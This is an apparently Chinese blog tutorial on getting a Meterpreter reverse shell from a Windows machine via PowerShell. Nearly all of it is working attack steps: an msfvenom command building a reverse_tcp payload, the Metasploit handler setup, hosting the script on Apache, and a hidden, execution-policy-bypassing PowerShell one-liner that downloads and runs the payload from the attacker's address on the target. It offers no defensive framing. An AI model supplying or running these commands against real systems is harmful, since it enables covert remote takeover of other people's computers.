利用powershell反弹shell到metasploit

一、使用msfvenom生成PS1文件:

 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.135.100 LPORT=1234 -f psh-reflection >1.ps1

《利用powershell反弹shell到metasploit》

二、开启msf监听:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.135.100
msf exploit(handler) > set lport 1234
msf > run

《利用powershell反弹shell到metasploit》

启动apache2,并将1.ps1复制到/var/www/html/目录下,访问1.ps1存在。
《利用powershell反弹shell到metasploit》

三、在目标机器执行cmd命令:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.135.100/1.ps1');xx.ps1"

注意区分目标及系统是32位还是64位。《利用powershell反弹shell到metasploit》

点赞